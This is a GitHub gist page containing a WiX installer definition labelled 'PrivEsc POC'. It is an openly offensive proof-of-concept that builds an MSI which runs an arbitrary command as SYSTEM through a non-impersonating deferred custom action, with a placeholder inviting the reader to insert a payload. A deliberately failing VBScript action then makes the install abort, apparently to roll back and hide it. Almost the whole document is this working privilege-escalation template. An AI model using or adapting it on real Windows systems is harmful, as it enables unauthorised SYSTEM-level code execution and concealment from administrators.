Skip to content

Instantly share code, notes, and snippets.

@rishdang
Forked from xpn/msigen.wix
Last active April 26, 2018 09:34
Show Gist options
  • Save rishdang/31bcbff16e276845aab759e1c589dc81 to your computer and use it in GitHub Desktop.
Save rishdang/31bcbff16e276845aab759e1c589dc81 to your computer and use it in GitHub Desktop.
Trimmed & cleaned original code
<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
<Product Id="*" UpgradeCode="00000000-0000-0000-0000-111111111111" Name="PrivEsc POC" Version="0.0.1" Manufacturer="@_xpn_" Language="1033">
<Package InstallerVersion="200" Compressed="yes" Comments="PrivEsc POC"/>
<Directory Id="TARGETDIR" Name="SourceDir">
<Component Id="ApplicationFiles" Guid="11111111-1111-1111-1111-222222222222"></Component>
</Directory>
<Feature Id="AppFiles" Level="1">
<ComponentRef Id="ApplicationFiles"/>
</Feature>
<!--Insert your payload here-->
<Property Id="runcmd">cmd.exe</Property>
<!--Action Sequence-->
<CustomAction Id="CmdExecute" Execute="deferred" Directory="TARGETDIR" ExeCommand='[runcmd]' Return="ignore" Impersonate="no"/>
<CustomAction Id="SetupFailure" Execute="deferred" Script="vbscript" Return="check">
program intentionally fails here!
</CustomAction>
<InstallExecuteSequence>
<Custom Action="CmdExecute" After="InstallInitialize"></Custom>
<Custom Action="SetupFailure" Before="InstallFiles"></Custom>
</InstallExecuteSequence>
</Product>
</Wix>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment